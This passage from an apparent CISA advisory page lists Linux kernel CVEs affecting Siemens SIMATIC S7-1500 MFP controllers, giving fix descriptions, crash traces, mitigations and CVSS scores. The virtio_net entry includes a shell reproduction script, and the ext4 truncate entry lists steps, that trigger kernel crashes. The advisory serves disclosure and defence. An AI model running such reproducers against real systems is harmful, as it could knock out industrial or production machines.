</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31441</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: dmaengine: idxd: Fix memory leak when a wq is reset idxd_wq_disable_cleanup() which is called from the reset path for a workqueue, sets the wq type to NONE, which for other parts of the driver mean that the wq is empty (all its resources were released). Only set the wq type to NONE after its resources are released.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31441">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31446</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ext4: fix use-after-free in update_super_work when racing with umount Commit b98535d09179 ("ext4: fix bug_on in start_this_handle during umount filesystem") moved ext4_unregister_sysfs() before flushing s_sb_upd_work to prevent new error work from being queued via /proc/fs/ext4/xx/mb_groups reads during unmount. However, this introduced a use-after-free because update_super_work calls ext4_notify_error_sysfs() -&gt; sysfs_notify() which accesses the kobject's kernfs_node after it has been freed by kobject_del() in ext4_unregister_sysfs(): update_super_work ext4_put_super ----------------- -------------- ext4_unregister_sysfs(sb) kobject_del(&amp;sbi-&gt;s_kobj) __kobject_del() sysfs_remove_dir() kobj-&gt;sd = NULL sysfs_put(sd) kernfs_put() // RCU free ext4_notify_error_sysfs(sbi) sysfs_notify(&amp;sbi-&gt;s_kobj) kn = kobj-&gt;sd // stale pointer kernfs_get(kn) // UAF on freed kernfs_node ext4_journal_destroy() flush_work(&amp;sbi-&gt;s_sb_upd_work) Instead of reordering the teardown sequence, fix this by making ext4_notify_error_sysfs() detect that sysfs has already been torn down by checking s_kobj.state_in_sysfs, and skipping the sysfs_notify() call in that case. A dedicated mutex (s_error_notify_mutex) serializes ext4_notify_error_sysfs() against kobject_del() in ext4_unregister_sysfs() to prevent TOCTOU races where the kobject could be deleted between the state_in_sysfs check and the sysfs_notify() call.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31446">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31447</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ext4: reject mount if bigalloc with s_first_data_block != 0 bigalloc with s_first_data_block != 0 is not supported, reject mounting it.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31447">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31448</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ext4: avoid infinite loops caused by residual data On the mkdir/mknod path, when mapping logical blocks to physical blocks, if inserting a new extent into the extent tree fails (in this example, because the file system disabled the huge file feature when marking the inode as dirty), ext4_ext_map_blocks() only calls ext4_free_blocks() to reclaim the physical block without deleting the corresponding data in the extent tree. This causes subsequent mkdir operations to reference the previously reclaimed physical block number again, even though this physical block is already being used by the xattr block. Therefore, a situation arises where both the directory and xattr are using the same buffer head block in memory simultaneously. The above causes ext4_xattr_block_set() to enter an infinite loop about "inserted" and cannot release the inode lock, ultimately leading to the 143s blocking problem mentioned in [1]. If the metadata is corrupted, then trying to remove some extent space can do even more harm. Also in case EXT4_GET_BLOCKS_DELALLOC_RESERVE was passed, remove space wrongly update quota information. Jan Kara suggests distinguishing between two cases: 1) The error is ENOSPC or EDQUOT - in this case the filesystem is fully consistent and we must maintain its consistency including all the accounting. However these errors can happen only early before we've inserted the extent into the extent tree. So current code works correctly for this case. 2) Some other error - this means metadata is corrupted. We should strive to do as few modifications as possible to limit damage. So I'd just skip freeing of allocated blocks. [1] INFO: task syz.0.17:5995 blocked for more than 143 seconds. Call Trace: inode_lock_nested include/linux/fs.h:1073 [inline] __start_dirop fs/namei.c:2923 [inline] start_dirop fs/namei.c:2934 [inline]</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31448">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.4</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31450</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ext4: publish jinode after initialization ext4_inode_attach_jinode() publishes ei-&gt;jinode to concurrent users. It used to set ei-&gt;jinode before jbd2_journal_init_jbd_inode(), allowing a reader to observe a non-NULL jinode with i_vfs_inode still unset. The fast commit flush path can then pass this jinode to jbd2_wait_inode_data(), which dereferences i_vfs_inode-&gt;i_mapping and may crash. Below is the crash I observe: ``` BUG: unable to handle page fault for address: 000000010beb47f4 PGD 110e51067 P4D 110e51067 PUD 0 Oops: Oops: 0000 [#1] SMP NOPTI CPU: 1 UID: 0 PID: 4850 Comm: fc_fsync_bench_ Not tainted 6.18.0-00764-g795a690c06a5 #1 PREEMPT(voluntary) Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Arch Linux 1.17.0-2-2 04/01/2014 RIP: 0010:xas_find_marked+0x3d/0x2e0 Code: e0 03 48 83 f8 02 0f 84 f0 01 00 00 48 8b 47 08 48 89 c3 48 39 c6 0f 82 fd 01 00 00 48 85 c9 74 3d 48 83 f9 03 77 63 4c 8b 0f &lt;49&gt; 8b 71 08 48 c7 47 18 00 00 00 00 48 89 f1 83 e1 03 48 83 f9 02 RSP: 0018:ffffbbee806e7bf0 EFLAGS: 00010246 RAX: 000000000010beb4 RBX: 000000000010beb4 RCX: 0000000000000003 RDX: 0000000000000001 RSI: 0000002000300000 RDI: ffffbbee806e7c10 RBP: 0000000000000001 R08: 0000002000300000 R09: 000000010beb47ec R10: ffff9ea494590090 R11: 0000000000000000 R12: 0000002000300000 R13: ffffbbee806e7c90 R14: ffff9ea494513788 R15: ffffbbee806e7c88 FS: 00007fc2f9e3e6c0(0000) GS:ffff9ea6b1444000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 000000010beb47f4 CR3: 0000000119ac5000 CR4: 0000000000750ef0 PKRU: 55555554 Call Trace: filemap_get_folios_tag+0x87/0x2a0 __filemap_fdatawait_range+0x5f/0xd0 ? srso_alias_return_thunk+0x5/0xfbef5 ? __schedule+0x3e7/0x10c0 ? srso_alias_return_thunk+0x5/0xfbef5 ? srso_alias_return_thunk+0x5/0xfbef5 ? srso_alias_return_thunk+0x5/0xfbef5 ? preempt_count_sub+0x5f/0x80 ? srso_alias_return_thunk+0x5/0xfbef5 ? cap_safe_nice+0x37/0x70 ? srso_alias_return_thunk+0x5/0xfbef5 ? preempt_count_sub+0x5f/0x80 ? srso_alias_return_thunk+0x5/0xfbef5 filemap_fdatawait_range_keep_errors+0x12/0x40 ext4_fc_commit+0x697/0x8b0 ? ext4_file_write_iter+0x64b/0x950 ? srso_alias_return_thunk+0x5/0xfbef5 ? preempt_count_sub+0x5f/0x80 ? srso_alias_return_thunk+0x5/0xfbef5 ? vfs_write+0x356/0x480 ? srso_alias_return_thunk+0x5/0xfbef5 ? preempt_count_sub+0x5f/0x80 ext4_sync_file+0xf7/0x370 do_fsync+0x3b/0x80 ? syscall_trace_enter+0x108/0x1d0 __x64_sys_fdatasync+0x16/0x20 do_syscall_64+0x62/0x2c0 entry_SYSCALL_64_after_hwframe+0x76/0x7e ... ``` Fix this by initializing the jbd2_inode first. Use smp_wmb() and WRITE_ONCE() to publish ei-&gt;jinode after initialization. Readers use READ_ONCE() to fetch the pointer.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31450">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31452</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ext4: convert inline data to extents when truncate exceeds inline size Add a check in ext4_setattr() to convert files from inline data storage to extent-based storage when truncate() grows the file size beyond the inline capacity. This prevents the filesystem from entering an inconsistent state where the inline data flag is set but the file size exceeds what can be stored inline. Without this fix, the following sequence causes a kernel BUG_ON(): 1. Mount filesystem with inode that has inline flag set and small size 2. truncate(file, 50MB) - grows size but inline flag remains set 3. sendfile() attempts to write data 4. ext4_write_inline_data() hits BUG_ON(write_size &gt; inline_capacity) The crash occurs because ext4_write_inline_data() expects inline storage to accommodate the write, but the actual inline capacity (~60 bytes for i_block + ~96 bytes for xattrs) is far smaller than the file size and write request. The fix checks if the new size from setattr exceeds the inode's actual inline capacity (EXT4_I(inode)-&gt;i_inline_size) and converts the file to extent-based storage before proceeding with the size change. This addresses the root cause by ensuring the inline data flag and file size remain consistent during truncate operations.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31452">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31466</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: mm/huge_memory: fix folio isn't locked in softleaf_to_folio() On arm64 server, we found folio that get from migration entry isn't locked in softleaf_to_folio(). This issue triggers when mTHP splitting and zap_nonpresent_ptes() races, and the root cause is lack of memory barrier in softleaf_to_folio(). The race is as follows: CPU0 CPU1 deferred_split_scan() zap_nonpresent_ptes() lock folio split_folio() unmap_folio() change ptes to migration entries __split_folio_to_order() softleaf_to_folio() set flags(including PG_locked) for tail pages folio = pfn_folio(softleaf_to_pfn(entry)) smp_wmb() VM_WARN_ON_ONCE(!folio_test_locked(folio)) prep_compound_page() for tail pages In __split_folio_to_order(), smp_wmb() guarantees page flags of tail pages are visible before the tail page becomes non-compound. smp_wmb() should be paired with smp_rmb() in softleaf_to_folio(), which is missed. As a result, if zap_nonpresent_ptes() accesses migration entry that stores tail pfn, softleaf_to_folio() may see the updated compound_head of tail page before page-&gt;flags. This issue will trigger VM_WARN_ON_ONCE() in pfn_swap_entry_folio() because of the race between folio split and zap_nonpresent_ptes() leading to a folio incorrectly undergoing modification without a folio lock being held. This is a BUG_ON() before commit 93976a20345b ("mm: eliminate further swapops predicates"), which in merged in v6.19-rc1. To fix it, add missing smp_rmb() if the softleaf entry is migration entry in softleaf_to_folio() and softleaf_to_page(). [tujinjiang@huawei.com: update function name and comments]</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31466">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/366.html">CWE-366 Race Condition within a Thread</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31469</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: virtio_net: Fix UAF on dst_ops when IFF_XMIT_DST_RELEASE is cleared and napi_tx is false A UAF issue occurs when the virtio_net driver is configured with napi_tx=N and the device's IFF_XMIT_DST_RELEASE flag is cleared (e.g., during the configuration of tc route filter rules). When IFF_XMIT_DST_RELEASE is removed from the net_device, the network stack expects the driver to hold the reference to skb-&gt;dst until the packet is fully transmitted and freed. In virtio_net with napi_tx=N, skbs may remain in the virtio transmit ring for an extended period. If the network namespace is destroyed while these skbs are still pending, the corresponding dst_ops structure has freed. When a subsequent packet is transmitted, free_old_xmit() is triggered to clean up old skbs. It then calls dst_release() on the skb associated with the stale dst_entry. Since the dst_ops (referenced by the dst_entry) has already been freed, a UAF kernel paging request occurs. fix it by adds skb_dst_drop(skb) in start_xmit to explicitly release the dst reference before the skb is queued in virtio_net. Call Trace: Unable to handle kernel paging request at virtual address ffff80007e150000 CPU: 2 UID: 0 PID: 6236 Comm: ping Kdump: loaded Not tainted 7.0.0-rc1+ #6 PREEMPT ... percpu_counter_add_batch+0x3c/0x158 lib/percpu_counter.c:98 (P) dst_release+0xe0/0x110 net/core/dst.c:177 skb_release_head_state+0xe8/0x108 net/core/skbuff.c:1177 sk_skb_reason_drop+0x54/0x2d8 net/core/skbuff.c:1255 dev_kfree_skb_any_reason+0x64/0x78 net/core/dev.c:3469 napi_consume_skb+0x1c4/0x3a0 net/core/skbuff.c:1527 __free_old_xmit+0x164/0x230 drivers/net/virtio_net.c:611 [virtio_net] free_old_xmit drivers/net/virtio_net.c:1081 [virtio_net] start_xmit+0x7c/0x530 drivers/net/virtio_net.c:3329 [virtio_net] ... Reproduction Steps: NETDEV="enp3s0" config_qdisc_route_filter() { tc qdisc del dev $NETDEV root tc qdisc add dev $NETDEV root handle 1: prio tc filter add dev $NETDEV parent 1:0 \ protocol ip prio 100 route to 100 flowid 1:1 ip route add 192.168.1.100/32 dev $NETDEV realm 100 } test_ns() { ip netns add testns ip link set $NETDEV netns testns ip netns exec testns ifconfig $NETDEV 10.0.32.46/24 ip netns exec testns ping -c 1 10.0.32.1 ip netns del testns } config_qdisc_route_filter test_ns sleep 2 test_ns</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31469">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
